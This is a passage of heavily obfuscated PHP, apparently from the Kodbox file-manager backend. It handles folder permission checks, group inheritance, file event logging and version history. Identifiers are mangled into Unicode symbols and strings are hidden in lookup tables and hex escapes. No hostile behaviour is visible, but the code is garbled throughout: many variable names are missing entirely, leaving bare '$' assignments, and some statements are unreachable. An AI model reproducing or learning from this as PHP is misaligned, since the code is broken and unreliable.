if (!$ || !$ޅ) { return !1; } foreach ($ޅ as $ŝ) { $õ = array(); foreach ($ŝ[$[2141]] as $Σ) { $̔ = $Σ[$[524]]; $ݥ = $Σ[$[1754]] ? SourceModel::TYPE_USER : SourceModel::TYPE_GROUP; $ = $Σ[$[1754]] ? $Σ[$[1754]] : $Σ[$[1952]]; if ($Σ[$[1754]] && $Σ[$[1754]] == $ټצ) { continue; } $õ[] = array($[184] => $ŝ[$[184]], $[181] => $ݥ, $[554] => intval($), $[2061] => isset($̔[$[459]]) ? intval($̔[$[459]]) : 0, $[2121] => isset($̔[$[2121]]) ? intval($̔[$[2121]]) : -1); } $õ[] = array($[184] => $ŝ[$[184]], $[181] => SourceModel::TYPE_USER, $[554] => intval($ټצ), $[2061] => intval($), $[2121] => -1); $this->where(array($[475] => $ŝ[$[184]]))->delete(); $this->addAll($õ); } return !0; } public function get($) { $ = $this->getSourceList(array($), !0); return $[0]; } public function getSourceList($¦, $璞 = false, $ = false) { $৮ =& $_SERVER[ϋ]; if (!$¦) { return array(); } $焤 = Model($৮[1388]); if (!$璞 && count($¦) == 1) { $璞 = array(); $璞[$¦[0]] = $焤->sourceInfo($¦[0]); } if (!$璞) { $٣ = array($৮[475] => array($৮[476], $¦)); $璞 = $焤->field($৮[2145])->where($٣)->select(); $璞 = array_to_keyvalue($璞, $৮[184]); } $Ђ = $¦; foreach ($璞 as $ি => $񋑎) { $ = $焤->parentLevelArray($񋑎[$৮[569]]); $Ђ = array_merge($Ђ, array($ি), array_reverse($)); } $Ђ = array_values(array_unique($Ђ)); if (!$Ђ) { return array(); } $ = $this->sourceAuthSelect($Ђ); $ = array(); foreach ($Ђ as $) { if (isset($[$])) { $[$] = $[$]; } } $ = $this->userIsRoot($); $ = AuthModel::authAll(); $ = array($৮[472] => $, $৮[2146] => array($৮[477] => 0, $৮[1958] => $, $৮[478] => LNG($৮[2147]), $৮[1975] => $৮[2148])); $ۚϢ = array(); foreach ($璞 as $ => $̰) { if ($ && $GLOBALS[$৮[6]][$৮[1971]]) { $ۚϢ[$] = $; continue; } $ۚϢ[$] = $this->makeSourceAuth($̰, $, $); } return $ۚϢ; } public function authDeepCheck($ܠ, $҅ = false) { $ޟ =& $_SERVER[ϋ]; $҅ = $҅ ? $҅ : USER_ID; $󺧫 = $this->makeAuthDeep($҅); if (!in_array($ܠ, $󺧫[$ޟ[2149]])) { return !1; } $ƾ = array(); foreach ($󺧫[$ޟ[2150]] as $ => $ݢ) { if (!in_array($ܠ, $ݢ)) { continue; } $ƾ[] = $; } if (!$ƾ) { return !1; } $㏷ = $ƾ ? $ƾ[0] : $ܠ; return array($ޟ[472] => -1, $ޟ[524] => array($ޟ[477] => $ޟ[1241], $ޟ[1958] => $ޟ[219], $ޟ[478] => LNG($ޟ[2151]), $ޟ[1975] => $ޟ[2152]), $ޟ[2153] => LNG($ޟ[2154]), $ޟ[2155] => $this->sourceAuthInfo($㏷)); } protected function makeAuthDeep($Ɵ = false) { $ߓ =& $_SERVER[ϋ]; static $ѝ = array(); $Ɵ = $Ɵ ? $Ɵ : USER_ID; if (isset($ѝ[$Ɵ])) { return $ѝ[$Ɵ]; } $ = Model($ߓ[2156])->listData(); $؋ = array(); foreach ($ as $ɓ) { if ($ɓ[$ߓ[471]] == 0 && $ɓ[$ߓ[1974]] == $ߓ[91]) { $؋[] = $ɓ[$ߓ[459]]; } } $Ʉ = $this->userGroupParents($Ɵ); $س = array($ߓ[181] => SourceModel::TYPE_USER, $ߓ[554] => $Ɵ); if ($Ʉ) { $س = array(array($ߓ[181] => SourceModel::TYPE_USER, $ߓ[554] => $Ɵ), array($ߓ[181] => SourceModel::TYPE_GROUP, $ߓ[554] => array($ߓ[476], $Ʉ)), $ߓ[1049] => $ߓ[2055]); } $ˠ = $this->field($ߓ[2157])->where($س)->select(); $ڗ = array(); $׭ = array_to_keyvalue_group($ˠ, $ߓ[184]); foreach ($׭ as $ => $) { $Џ = $this->authArrayCheck($, $Ɵ); if ($Џ[$ߓ[472]] > 0) { $ڗ[] = $ . $ߓ[12]; } } if ($Ʉ) { $ѹҳ = Model($ߓ[570]); foreach ($Ʉ as $蝳) { $Ь = $ѹҳ->getInfo($蝳); if (!$Ь || !is_array($Ь[$ߓ[90]])) { continue; } $ڗ[] = $Ь[$ߓ[90]][$ߓ[184]]; } } $ = array(); $LJ = $Ʉ; $ɣ؍ = Model($ߓ[1388]); $ѹҳ = Model($ߓ[570]); $ = array(); $ރ٪ = array(); $ꏛ = array(); $ꍱ = array(); if ($ڗ) { $ = $ɣ؍->where(array($ߓ[184] => array($ߓ[476], $ڗ)))->select(); foreach ($ as $Ŕ) { $Ń = $ɣ؍->parentLevelArray($Ŕ[$ߓ[569]]); $ = array_merge($, $Ń); $LJ[] = $Ŕ[$ߓ[554]]; $[$Ŕ[$ߓ[184]]] = $Ń; $ރ٪[$Ŕ[$ߓ[184]]] = $Ŕ[$ߓ[554]]; } } $LJ = array_values(array_unique($LJ)); $ҿ = $LJ; foreach ($ҿ as $蝳) { $Ь = $ѹҳ->getInfo($蝳); $Ń = $ɣ؍->parentLevelArray($Ь[$ߓ[569]]); $LJ = array_merge($LJ, $Ń); } $LJ = array_values(array_unique($LJ)); foreach ($LJ as $蝳) { $Ь = $ѹҳ->getInfo($蝳); $[] = $Ь[$ߓ[90]][$ߓ[184]]; $ꏛ[$蝳] = $Ь[$ߓ[90]][$ߓ[184]]; $ꍱ[$蝳] = $ɣ؍->parentLevelArray($Ь[$ߓ[569]]); } foreach ($ as $ => $) { $֏ = $ރ٪[$]; if (!$֏ || !$ꏛ[$֏]) { continue; } $ = array(); foreach ($ꍱ[$֏] as $蝳) { $[] = $ꏛ[$蝳]; } $[$] = array_merge($, $); } $ = array_values(array_unique($)); $ڍ = array($ߓ[2149] => $, $ߓ[2150] => $); $ѝ[$Ɵ] = $ڍ; return $ڍ; } private function makeSourceAuth($̄, $, $Ɵ = false) { $ =& $_SERVER[ϋ]; $޹҅ = $[91]; $ = $̄[$[554]]; $Ɲ = $̄[$[181]] == SourceModel::TYPE_GROUP; $Ʉ = $Ɲ ? $this->groupRootAuth($, $Ɵ) : !1; if ($Ʉ && Model($[556])->authCheckAction($Ʉ[$[471]], $[1973])) { return $this->groupAuthInfo($Ʉ, $); } $ = Model($[1388])->parentLevelArray($̄[$[569]]); $ = array_merge(array($̄[$[184]]), array_reverse($)); $Ü = !1; foreach ($ as $Ԧ) { if (!isset($[$Ԧ])) { continue; } $ = $this->authMake($[$Ԧ], $Ɵ); if ($[$[524]]) { $Ü = $; break; } } if (!$Ɲ) { return $Ü; } if (!$Ü && $Ʉ) { $Ü = $this->groupAuthInfo($Ʉ, $); } if (!$Ü) { $ = Model($[570])->getInfo($); $ݓ = explode($[50], trim($[$[569]], $[50])); $ݓ = array_reverse($ݓ); foreach ($ݓ as $ۘ) { if ($ۘ == $[219] || $ۘ == $޹҅) { continue; } $ = $this->groupRootAuth($ۘ, $Ɵ); if (!$) { continue; } $Ü = $this->groupAuthInfo($, $ۘ); break; } } if (!$Ü || $Ü[$[472]] <= 0) { $﷪ = $this->authDeepCheck($̄[$[184]], $Ɵ); if ($﷪) { $Ü = $﷪; } } return $Ü; } private function userIsRoot($ض = false) { $ =& $_SERVER[ϋ]; if (!$ض && KodUser::isRoot()) { return !0; } $޴ = Model($[583])->getInfo($ض); $戎 = Model($[2158])->listData($޴[$[2159]]); if ($戎 && $戎[$[560]][$[2160]] == 1) { return !0; } return !1; } private function sourceAuthInfo($怒) { $ =& $_SERVER[ϋ]; $Ƚ = Model($[1388]); $ = $Ƚ->sourceInfo($怒); if (!$) { return !1; } $Ƚ->groupPathDisplay($); $ = array($); $ = $Ƚ->_listAppendPath($); $ = $[0]; $ = $[$[567]]; if (isset($[$[575]])) { $ = explode($[8], trim($[$[567]], $[8])); array_shift($); $ = $[$[573]] . $[2161] . implode($[8], $); } return array($[478] => $[$[32]], $[87] => KodIO::make($[$[184]]), $[2162] => $); } private function groupAuthInfo($, $ä) { $Ѫ =& $_SERVER[ϋ]; $ = Model($Ѫ[570])->getInfo($ä); return array($Ѫ[2163] => intval($[$Ѫ[471]]), $Ѫ[2146] => $, $Ѫ[2164] => LNG($Ѫ[2165]), $Ѫ[2155] => array($Ѫ[478] => $[$Ѫ[32]], $Ѫ[87] => KodIO::make($[$Ѫ[90]][$Ѫ[184]]), $Ѫ[2162] => $[$Ѫ[574]])); } protected function groupRootAuth($Ÿ, $ͪ = false) { $ݻ =& $_SERVER[ϋ]; $ͪ = $ͪ ? $ͪ : USER_ID; $散 = $ͪ . $ݻ[2166] . $Ÿ; static $ = array(); if (isset($[$散])) { return $[$散]; } $ɤ = Model($ݻ[570])->getInfo($Ÿ); $ = $this->userGroupList($ͪ); $ = isset($[$Ÿ]) ? $[$Ÿ][$ݻ[471]] : !1; if ($ && Model($ݻ[556])->authCheckAction($[$ݻ[471]], $ݻ[1973])) { $[$散] = $; return $; } $ = $this->sourceAuthSelect($ɤ[$ݻ[90]][$ݻ[184]]); $ = $ ? $this->authMake($, $ͪ) : !1; $ = $ ? $[$ݻ[524]] : !1; $[$散] = $ ? $ : $; return $[$散]; } public function authOwnerApply($) { $Ѿ =& $_SERVER[ϋ]; if (empty($[$Ѿ[471]]) || isset($[$Ѿ[2167]]) && $[$Ѿ[2167]]) { return $; } if (AuthModel::authCheckRoot($[$Ѿ[471]][$Ѿ[472]])) { return $; } $鞩 = Model($Ѿ[1388])->parentLevelArray($[$Ѿ[569]]); $鞩 = array_merge(array($[$Ѿ[184]]), array_reverse($鞩)); $ބ = $this->sourceAuthSelect($鞩); $ރ = array(); $ֆ = array(); foreach ($ބ as $Ἕ => $ˀ) { $֒ = $this->authFolderOwnerUser($ˀ); $ރ[$Ἕ] = $֒; $ֆ = array_merge($ֆ, $֒[$Ѿ[646]]); if ($֒[$Ѿ[2168]]) { break; } } if (count($ֆ) == 0) { $ֆ = $this->authFolderOwnerGroup($[$Ѿ[554]]); } $ֆ = array_unique($ֆ); if (AuthModel::authCheckRoot($[$Ѿ[471]][$Ѿ[472]])) { $ֆ[] = USER_ID; } $[$Ѿ[471]][$Ѿ[2169]] = Model($Ѿ[562])->userListInfo($ֆ); return $; } private function authFolderOwnerGroup($瓹) { $ =& $_SERVER[ϋ]; $˅ = Model($[2047])->where(array($[1952] => $瓹))->select(); $ = array(); if (!$˅) { return $; } foreach ($˅ as $̜) { $ = $this->authInfo($̜); if (AuthModel::authCheckRoot($[$[471]])) { $[] = $̜[$[1754]]; } } return $; } private function authFolderOwnerUser($) { $ަƂ =& $_SERVER[ϋ]; $޲Č = array(); $ڵ = !1; foreach ($ as $َ) { $ = $this->authInfo($َ); if ($َ[$ަƂ[554]] == $ަƂ[219]) { $ڵ = !0; } if ($َ[$ަƂ[181]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($[$ަƂ[471]])) { $޲Č[] = $َ[$ަƂ[554]]; } } } return array($ަƂ[646] => $޲Č, $ަƂ[2168] => $ڵ); } public function authMake($⚽, $Ҹ = false) { $ã =& $_SERVER[ϋ]; $ɩ = $this->authArrayCheck($⚽, $Ҹ); if ($ɩ[$ã[2170]]) { $ɩ[$ã[2170]] = $this->sourceAuthInfo($ɩ[$ã[2170]]); } return $ɩ; } public function authArrayCheck($, $ট = false) { $ =& $_SERVER[ϋ]; if (!$) { return array($[472] => 0, $[524] => !1); } $ট = $ট ? $ট : USER_ID; $ = 0; $ = 0; $ұ = 0; $ = 0; $ = 0; $ = 0; $ە = 1000; $𒭌 = 0; $Ж = 0; $؋ = 0; $Ɛþ = 0; $ħ = array($[184] => 0); foreach ($ as $ħ) { $ = $this->authInfo($ħ); if (!$) { continue; } $ = $ħ[$[554]]; $Έ = intval($[$[471]]); if ($ħ[$[181]] == SourceModel::TYPE_USER && $ == $ট) { $ = !0; $ұ = $; $ = $Έ; } else { if ($ħ[$[181]] == SourceModel::TYPE_GROUP && $this->groupContainUser($, $ট)) { $ = !0; $ = $this->groupStepToUserGroup($, $ট); if ($ < $ە) { $ە = $; $ = $Έ; $ = $; $𒭌 = $; } if ($ == $ە && $Έ >= $) { $ = $Έ; $ = $; $𒭌 = $; } } else { if ($ == $[219]) { $Ж = !0; $Ɛþ = $; $؋ = $Έ; } } } } if ($) { $̷ = $; $ = $ұ; $՝ = LNG($[2171]); } else { if ($) { $̷ = $; $ = $; $ = Model($[570])->getInfo($𒭌); $՝ = $[166] . $[$[574]] . $[2172] . LNG($[2173]); } else { if ($Ж) { $̷ = $؋; $ = $Ɛþ; $՝ = LNG($[2143]); } else { $̷ = 0; $ = !1; $՝ = $[12]; } } } $ = array($[2163] => intval($̷), $[2146] => $, $[2164] => $՝, $[2155] => $ħ[$[184]]); return $; } private function groupContainUser($ė, $ = false) { return in_array($ė, $this->userGroupParents($)); } private function groupStepToUserGroup($Ԅ, $ = false) { $㡱 =& $_SERVER[ϋ]; $ = $this->userGroupList($); $ = 1000; $† = $GLOBALS[$㡱[6]][$㡱[92]][$㡱[2060]] == 1; $ͽ = $† ? 3 : 2; foreach ($ as $) { if ($[$㡱[1952]] == $Ԅ) { return 0; } $Õ盧 = explode($㡱[50], trim($[$㡱[569]], $㡱[50])); if ($Õ盧[0] == $㡱[219] && count($Õ盧) > $ͽ) { $㪿 = array_reverse(array_slice($Õ盧, $ͽ)); $ = array_search($Ԅ, $㪿); if ($ !== !1 && $ + 1 <= $) { $ = $ + 1; } } } return $; } private function userGroupList($ = false) { $ =& $_SERVER[ϋ]; static $ = array(); if (isset($[$])) { return $[$]; } $ = Model($[583])->getInfo($); $[$] = array_to_keyvalue($[$[2144]], $[1952]); return $[$]; } public function userGroupParents($) { $˙ =& $_SERVER[ϋ]; static $֢ = array(); $ = $ ? $ : USER_ID; if (isset($֢[$])) { return $֢[$]; } $ = $this->userGroupList($); $ą = array(); $̉ = $GLOBALS[$˙[6]][$˙[92]][$˙[2060]] == 1; $֯ = $̉ ? 3 : 2; foreach ($ as $ֹ) { $ = array($ֹ[$˙[1952]]); $Ʉ֟ = explode($˙[50], trim($ֹ[$˙[569]], $˙[50])); if ($Ʉ֟[0] == $˙[219] && count($Ʉ֟) > $֯) { $ = array_slice($Ʉ֟, $֯); $ = array_merge($, array_reverse($)); } $ą = array_merge($ą, $); } $֢[$] = array_unique($ą); return $֢[$]; } public function authTargetInfoMake($Ś) { $ñ =& $_SERVER[ϋ]; $ = array(); $ = array(); foreach ($Ś as $) { if ($[$ñ[181]] == SourceModel::TYPE_USER) { $[] = intval($[$ñ[554]]); } else { if ($[$ñ[181]] == SourceModel::TYPE_GROUP) { $[] = intval($[$ñ[554]]); } } } if ($) { $ = Model($ñ[562])->userListInfo($); } if ($) { $ = array($ñ[2045] => array($ñ[476], $)); $ = Model($ñ[570])->field($ñ[2174])->where($)->select(); $ = array_to_keyvalue($, $ñ[1952]); } return array($ñ[2175] => $, $ñ[2176] => $); } public function authInfo($ͽ) { $ùň =& $_SERVER[ϋ]; if ($ͽ[$ùň[2061]]) { $ = Model($ùň[556])->listData($ͽ[$ùň[2061]]); if (!$) { return !1; $ = Model($ùň[556])->listData(); $ȗ = array_filter_by_field($, $ùň[471], $ùň[219]); return $ȗ; } $鬑 = array_field_key($, array($ùň[459], $ùň[32], $ùň[471], $ùň[1975], $ùň[1976])); $鬑[$ùň[2177]] = $ͽ; return $鬑; } else { return array($ùň[477] => 0, $ùň[1958] => $ͽ[$ùň[2121]], $ùň[478] => $ùň[12], $ùň[1975] => $ùň[2178]); } } } goto c٘ݟ; c٘ݟ: class SourceEventModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\163\x6f\165\162\143\145\137\145\x76\x65\x6e\164"; protected $dataAuto = array(array("\x63\x72\x65\141\x74\x65\x54\x69\155\145", "\x74\x69\155\145", "\x69\156\163\x65\x72\164", "\x66\x75\156\x63\x74\151\x6f\x6e"), array("\144\145\x73\143", '', "\151\156\x73\145\x72\164\x2c\165\x70\x64\141\x74\x65\x2c\x73\145\154\x65\x63\x74", "\152\163\157\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($螽ܦ, $, $ɚ = '') { $՝ =& $_SERVER[ϋ]; if (!$this->eventSave) { return; } $倗 = Model($՝[1388])->sourceInfo($螽ܦ); if (!$倗) { return !1; } if ($this->isDisableEvent($倗, $)) { return; } if ($ɚ && is_string($ɚ)) { $ɚ = array($՝[1991] => $ɚ); } $Ֆ = defined($՝[2179]) ? USER_ID : 0; $ = array($՝[475] => $螽ܦ, $՝[2180] => $倗[$՝[183]], $՝[2181] => $倗[$՝[32]], $՝[567] => !empty($倗[$՝[567]]) ? $倗[$՝[567]] : $՝[12], $՝[1745] => $Ֆ, $՝[480] => $, $՝[1747] => $ɚ); $this->addSystemLog($, $); unset($[$՝[2181]], $[$՝[567]]); return $this->add($); } private function addSystemLog($˸, $܅ߒ) { $Љù =& $_SERVER[ϋ]; if ($˸ == $Љù[2182]) { $˸ = $܅ߒ[$Љù[510]][$Љù[2183]]; } else { if (in_array($˸, array($Љù[1932], $Љù[2184]))) { $˸ = $܅ߒ[$Љù[510]][$Љù[806]]; } } $广 = array_merge($܅ߒ, array($Љù[2185] => $܅ߒ[$Љù[184]], $Љù[2186] => $܅ߒ[$Љù[2186]])); Hook::trigger($Љù[2187], $Љù[2188] . $˸, $܅ߒ); Model($Љù[1896])->addLog($Љù[2188] . $˸, $广); } private function isDisableEvent($, $Ŋ) { $ =& $_SERVER[ϋ]; if ($[$[181]] != SourceModel::TYPE_SYSTEM) { return !1; } if ($Ŋ == $[1921]) { return !1; } return !0; } public function eventCreate($Ѣ, $׫鈵) { $ =& $_SERVER[ϋ]; $ = Model($[1388])->sourceInfo($Ѣ); $ = array($[2183] => $׫鈵, $[32] => $[$[32]]); return $this->addEvent($Ѣ, $[2182], $); } public function eventFileEdit($) { $㥆 =& $_SERVER[ϋ]; $ڽ = array($㥆[2189] => $_SERVER[$㥆[2190]], $㥆[2191] => strtolower(ACTION)); if (isset($GLOBALS[$㥆[7]][$㥆[2192]])) { $ڽ[$㥆[2192]] = $㥆[91]; } return $this->addEvent($, $㥆[1922], $ڽ); } public function eventRecycle($, $) { return $this->addEvent($, $_SERVER[ϋ][2184], $); } private static $_removeLast = ''; public function eventRemove($ԏ) { $я =& $_SERVER[ϋ]; self::$_removeLast = $ԏ; $ּ = Model($я[1388])->sourceInfo($ԏ); $ = array_field_key($ּ, array($я[184], $я[525], $я[489], $я[569])); $ż = array($я[806] => $ּ[$я[32]], $я[2191] => ACTION, $я[2193] => $); return $this->addEvent($ּ[$я[183]], $я[1921], $ż); } public function eventShare($, $ϻ) { return $this->addEvent($, $_SERVER[ϋ][1932], $ϻ); } public function eventMove($, $, $œ) { $È =& $_SERVER[ϋ]; if (self::$_removeLast == $) { return; } $כ = Model($È[1388]); $ = $כ->sourceInfo($); $’ = $כ->sourceInfo($); $ꉥ = $כ->sourceInfo($œ); $򉀁 = array($È[1212] => $, $È[2194] => $’[$È[32]], $È[2170] => !empty($’[$È[567]]) ? $’[$È[567]] : $È[12], $È[1213] => $œ, $È[2195] => $ꉥ[$È[32]], $È[2196] => !empty($ꉥ[$È[567]]) ? $ꉥ[$È[567]] : $È[12]); $this->addEvent($, $È[604], $򉀁); $ = $כ->sourceInfo($); $򉀁 = array($È[184] => $[$È[184]], $È[32] => $[$È[32]]); $this->addEvent($, $È[2197], $򉀁); } public function eventCopy($) { $this->eventCreate($, $_SERVER[ϋ][602]); } public function eventRename($돦, $, $¹) { $ =& $_SERVER[ϋ]; $ܙ = array($[1212] => $, $[1213] => $¹); return $this->addEvent($돦, $[1402], $ܙ); } public function eventAddComment($, $ޭ) { return $this->addEvent($, $_SERVER[ϋ][2198], $ޭ); } public function eventAddDesc($, $蓢) { return $this->addEvent($, $_SERVER[ϋ][2199], $蓢); } public function listBySource($) { $鞪 =& $_SERVER[ϋ]; $Ԑ = Model($鞪[1388])->sourceInfo($); $ĩ = array($鞪[475] => $); if ($Ԑ[$鞪[469]] == $鞪[91]) { $ = Model($鞪[1388])->listSearchChildren($, 20000); $[] = $ . $鞪[438]; $ĩ = array($鞪[184] => array($鞪[7], $)); } $ަ = $this->where($ĩ)->order($鞪[2200])->selectPage(); if ($ަ[$鞪[426]][$鞪[427]] == 0) { $ަ[$鞪[426]][$鞪[427]] = 1; $ަ[$鞪[429]] = array(array($鞪[475] => $, $鞪[2180] => $Ԑ[$鞪[183]], $鞪[1745] => $Ԑ[$鞪[511]], $鞪[480] => $鞪[2201], $鞪[481] => $Ԑ[$鞪[222]], $鞪[1747] => $鞪[12])); } return $this->eventListParse($ަ, $); } private function eventListParse($ө, $) { $ =& $_SERVER[ϋ]; $Ձ = $ө[$[429]]; $ঙ = array_to_keyvalue($Ձ, $[12], $[184]); $Ġ = array_to_keyvalue($Ձ, $[12], $[2186]); foreach ($Ձ as $ﳍ) { $ = $ﳍ[$[510]]; if ($ﳍ[$[33]] == $[604] && isset($[$[1212]])) { $ঙ[] = $[$[1212]] . $[12]; $ঙ[] = $[$[1213]] . $[12]; } if ($ﳍ[$[33]] == $[2197] && isset($[$[184]])) { $ঙ[] = $[$[184]] . $[12]; } } $ঙ = array_merge($ঙ, $Ġ, array($ . $[12])); $ঙ = array_unique($ঙ); $ۋ = array_unique(array_to_keyvalue($Ձ, $[12], $[1754])); $ = Model($[583])->userListInfo($ۋ); $ = Model($[876])->sourceListInfo($ঙ, !0); foreach ($Ձ as &$ﳍ) { if ($ﳍ[$[33]] == $[604] && isset($ﳍ[$[510]][$[1212]])) { $ﳍ[$[510]][$[1212]] = $[$ﳍ[$[510]][$[1212]]]; $ﳍ[$[510]][$[1213]] = $[$ﳍ[$[510]][$[1213]]]; } if ($ﳍ[$[33]] == $[2197] && isset($ﳍ[$[510]][$[184]])) { $ﳍ[$[510]][$[184]] = $[$ﳍ[$[510]][$[184]]]; } $ﳍ[$[90]] = $[$ﳍ[$[184]]]; $ﳍ[$[2202]] = $[$ﳍ[$[2186]]]; if ($ﳍ[$[33]] == $[1921]) { $ﳍ[$[2202]] = $ﳍ[$[90]]; $ﳍ[$[2186]] = $ﳍ[$[2202]][$[184]]; $ﳍ[$[90]] = !1; $ﳍ[$[184]] = $[12]; } $ﳍ[$[2129]] = $[$ﳍ[$[1754]]]; } unset($ﳍ); $ө[$[429]] = $Ձ; return $ө; } public function removeBySource($ѽձ) { $ = array($_SERVER[ϋ][475] => $ѽձ); $this->where($)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\157\137\x73\x6f\165\x72\x63\145\137\x68\x69\163\164\157\162\171"; public function historyCount($Κ) { $ѡ =& $_SERVER[ϋ]; if (!$Κ) { return array(); } if (is_string($Κ) || is_int($Κ)) { $Κ = array($Κ); } $ = array($ѡ[184], $ѡ[1985] => $ѡ[550]); $ۜ = array($ѡ[184] => array($ѡ[7], $Κ)); $򯡑 = $this->field($)->where($ۜ)->group($ѡ[184])->select(); return array_to_keyvalue($򯡑, $ѡ[184], $ѡ[550]); } public function addHistory($, $ = '') { $զ =& $_SERVER[ϋ]; $뇟 = array($զ[475] => $[$զ[184]], $զ[1745] => isset($[$զ[513]]) ? $[$զ[513]] : $[$զ[511]], $զ[526] => $[$զ[525]], $զ[601] => $[$զ[79]], $զ[2203] => $); if ($GLOBALS[$զ[6]][$զ[92]][$զ[1270]] >= 1) { $this->historyAutoClear($뇟[$զ[184]]); $this->add($뇟); } Hook::trigger($զ[2204], $뇟); Model($զ[2205])->eventFileEdit($[$զ[184]]); } private function historyAutoClear($׎) { $禮 =& $_SERVER[ϋ]; $Ljŏ = Model($禮[822])->get($禮[1292]); $ = intval($GLOBALS[$禮[6]][$禮[92]][$禮[1270]]); $ = $Ljŏ == $禮[1293] ? min(5, $) : $; $ = $ <= 0 ? 0 : $ - 1; if ($ >= 500) { return; } $ = array($禮[475] => $׎); $ = $this->field($禮[2206])->where($)->order($禮[2200])->select(); if (!$ || $ >= count($)) { return; } $؛ = array_to_keyvalue($, $禮[12], $禮[459]); $؛ = array_slice($؛, $); $Օ = array_to_keyvalue($, $禮[12], $禮[525]); $Օ = array_slice($Օ, $); if (!$؛ || !$Օ) { return; } $ = array($禮[477] => array($禮[7], $؛)); $this->where($)->delete(); Model($禮[528])->remove($Օ); } public function listData($) { $ٖ =& $_SERVER[ϋ]; $ = array($ٖ[475] => $); $ = $ٖ[2207]; $ = $this->field($)->where($)->order($ٖ[2200])->selectPage(); $this->_listAppendUser($[$ٖ[429]]); $ = Model($ٖ[822])->get($ٖ[1292]); $ = 5; if ($ == $ٖ[1293]) { $[$ٖ[429]] = array_slice($[$ٖ[429]], 0, $); $[$ٖ[426]] = array($ٖ[2208] => 1, $ٖ[2209] => 20, $ٖ[2210] => 1, $ٖ[2211] => count($[$ٖ[429]])); } return $; } protected function _listAppendUser(&$ս) { $ݪ =& $_SERVER[ϋ]; $ = array_to_keyvalue($ս, $ݪ[12], $ݪ[1754]); $ƣ = Model($ݪ[583])->userListInfo($); foreach ($ս as &$В) { $ʂ = $В[$ݪ[1754]]; $В[$ݪ[511]] = $ƣ[$ʂ] ? $ƣ[$ʂ] : !1; } unset($В); } public function fileInfo($) { $ܻ =& $_SERVER[ϋ]; $􈶱 = $this->tablePrefix; $ = "{$􈶱}\151\157\137\146\x69\154\x65\x20\146\151\154\145\163\x20\157\156\40\x66\x69\154\x65\163\56\x66\151\154\x65\x49\104\x20\75\40\150\x69\x73\x74\157\x72\171\x2e\x66\x69\x6c\x65\111\104"; return $this->alias($ܻ[2212])->where(array($ܻ[477] => $))->join($, $ܻ[2213])->find(); } public function removeItem($ਏ) { $ٚ =& $_SERVER[ϋ]; $펟 = array($ٚ[477] => $ਏ); $ = $this->where($펟)->find(); if ($) { $җ = $this->where($펟)->delete(); Model($ٚ[528])->remove($[$ٚ[525]]); return $җ; } return !1; } public function removeBySource($˫) { $в =& $_SERVER[ϋ]; if (!$˫) { return !1; } if (!is_array($˫)) { $˫ = array($˫); } $̧հ = array($в[475] => array($в[7], $˫)); $ = $this->field($в[526])->where($̧հ)->select(); if ($) { $this->where($̧հ)->delete(); $޽ = array_to_keyvalue($, $в[12], $в[525]); Model($в[528])->remove($޽); } return !0; } public function setDetail($, $։) { $ױ =& $_SERVER[ϋ]; return $this->where(array($ױ[477] => $))->save(array($ױ[2203] => $։)); } public function rollbackToItem($߳ԗ, $݊) { $ =& $_SERVER[ϋ]; $Ԣ = Model($[876])->sourceInfo($߳ԗ); $this->addHistory($Ԣ, LNG($[2214])); $ = $this->find($݊); $ȵ = array($[525] => $[$[525]], $[79] => $[$[79]], $[88] => time(), $[513] => USER_ID); Model($[876])->where(array($[184] => $߳ԗ))->save($ȵ); return $this->where(array($[477] => $݊))->delete(); } public function clearSame($) { $ =& $_SERVER[ϋ]; $܀ = $this->listData($); $Ԗ = array_to_keyvalue_group($܀, $[525]); $ܔ = array(); $Թ = array(); foreach ($Ԗ as $) { if (!$ || count($) <= 1) { continue; } foreach ($ as $) { $ܔ[] = $[$[525]]; $Թ[] = $[$[459]]; } } if (!$Թ) { return; } $this->where(array($[459] => array($[7], $Թ)))->delete(); Model($[528])->remove($ܔ); } public function userSpace() { $ԗ =& $_SERVER[ϋ]; $ = $this->tablePrefix; $ = array($ԗ[1745] => USER_ID); $ = "{$}\x69\157\137\x66\x69\154\145\x20\146\x69\154\145\163\x20\157\x6e\x20\146\x69\x6c\145\163\x2e\x66\x69\154\x65\111\104\40\x3d\x20\x68\x69\x73\x74\157\x72\x79\56\146\151\x6c\145\111\104"; return $this->alias($ԗ[2212])->where($)->join($, $ԗ[2213])->sum($ԗ[79]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($ғ) { $䧱 =& $_SERVER[ϋ]; $х = KodIO::fileTypeList(); $Ɲ = $х[$ғ]; if (!$Ɲ) { return array(); } $ˑ = $Ɲ[$䧱[178]]; $畐 = $䧱[7]; if (!$Ɲ[$䧱[178]]) { $ = array_to_keyvalue($х, $䧱[12], $䧱[178]); $ˑ = implode($䧱[50], $); $畐 = $䧱[2215]; } $̵ = explode($䧱[50], trim($ˑ, $䧱[50])); return array($畐, $̵); } public function listPathType($) { $٘ =& $_SERVER[ϋ]; $ȫ = $this->fileTypeWhere($); if (!$ȫ) { return array(); } $ = USER_ID; $ڦ = Model($٘[583])->getInfo($); $ = array($٘[632] => SourceModel::TYPE_USER, $٘[569] => array($٘[596], $٘[579] . $ڦ[$٘[90]][$٘[184]] . $٘[597]), $٘[633] => $, $٘[630] => 0, $٘[631] => $ȫ); return $this->listSource($); } public function listSearch($۪, $ڿރ = 300) { $Ըō =& $_SERVER[ϋ]; if (isset($۪[$Ըō[2051]]) && $۪[$Ըō[2051]]) { $۪[$Ըō[2051]] = str_replace($Ըō[444], $Ըō[2216], trim($۪[$Ըō[2051]])); } $ŧ = $this->_parseSearchWhere($۪); if (!isset($ŧ[$Ըō[489]])) { $ŧ[$Ըō[489]] = 0; } $ = $Ըō[2217]; $ = $ŧ; $ = $; $this->_listSearchBindPinyin($۪, $ŧ, $); $this->alias($Ըō[503])->_makeOrder(); $ŧ = $this->parseWhereLike($ŧ); $ = $this->distinct(!0)->field($)->where($ŧ)->selectPage($ڿރ); if ($GLOBALS[$Ըō[6]][$Ըō[441]][$Ըō[442]] && Input::check($۪[$Ըō[2051]], $Ըō[639]) && $[$Ըō[426]][$Ըō[404]] == 1 && $[$Ըō[426]][$Ըō[427]] == 0) { $ = $this->distinct(!0)->field($)->where($)->limit(1000)->select(); $ = array_page_split($, !1, $ڿރ); } $this->_listSearchFileContent($, $۪, $, $); $this->_listSearchDesc($, $۪, $); $this->_listSearchTag($, 